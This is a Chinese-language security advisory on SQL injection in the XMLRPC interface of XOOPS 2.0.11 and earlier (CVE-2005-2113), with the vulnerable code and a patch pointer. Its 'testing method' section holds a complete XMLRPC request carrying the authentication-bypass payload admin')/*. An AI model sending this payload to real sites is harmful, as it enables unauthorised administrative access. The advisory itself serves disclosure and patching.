Xoops XMLRPC多个SQL注入漏洞
发布日期:2005-06-30
更新日期:2005-06-30
受影响系统:Xoops Xoops <= 2.0.11
不受影响系统:Xoops Xoops 2.0.12
描述:
BUGTRAQ ID:
14094
CVE(CAN) ID:
CVE-2005-2113
XOOPS是非常流行的动态Web内容管理系统,用面向对象的PHP编写。
XOOPS中存在多个SQL注入漏洞,起因是对xoops的XMLRPC缺少检查。以下bloggerapi.php文件中的代码用于处理所有入站的XMLRPC请求:
function getUserInfo()
{
if (!$this->_checkUser($this->params[1], $this->params[2])) {
$this->response->add(new XoopsXmlRpcFault(104));
} else {
$struct = new XoopsXmlRpcStruct();
$struct->add('nickname', new
XoopsXmlRpcString($this->user->getVar('uname')));
$struct->add('userid', new
XoopsXmlRpcString($this->user->getVar('uid')));
$struct->add('url', new
XoopsXmlRpcString($this->user->getVar('url')));
$struct->add('email', new
XoopsXmlRpcString($this->user->getVar('email')));
$struct->add('lastname', new XoopsXmlRpcString(''));
$struct->add('firstname', new
XoopsXmlRpcString($this->user->getVar('name')));
$this->response->add($struct);
}
}
_checkUser函数实际上只是XMLRPC server的封装,因为参数最终传递给了XOOPS核心函数loginUser(),导致SQL注入攻击。
成功利用这个漏洞的攻击者可能获得管理权限访问。
<*来源:James Bercegay (
security@gulftech.org)
Jan Pederson
链接:
http://marc.theaimsgroup.com/?l=bugtraq&m=112006318512991&w=2
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
---------------
<?xml version="1.0"?>
<methodCall>
<methodName>blogger.getPost</methodName>
<params>
<param>
<value><string></string></value>
</param>
<param>
<value><string></string></value>
</param>
<param>
<value><string>admin')/*</string></value>
</param>
<param>
<value><string>passwordfield</string></value>
</param>
<param>
<value><string></string></value>
</param>
</params>
</methodCall>
---------------
建议:
厂商补丁:
Xoops
-----
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载2.0.12版本:
http://prdownloads.sourceforge.net/xoops/Xoops-2.0.12.zip?download浏览次数:2851
严重程度:1(网友投票)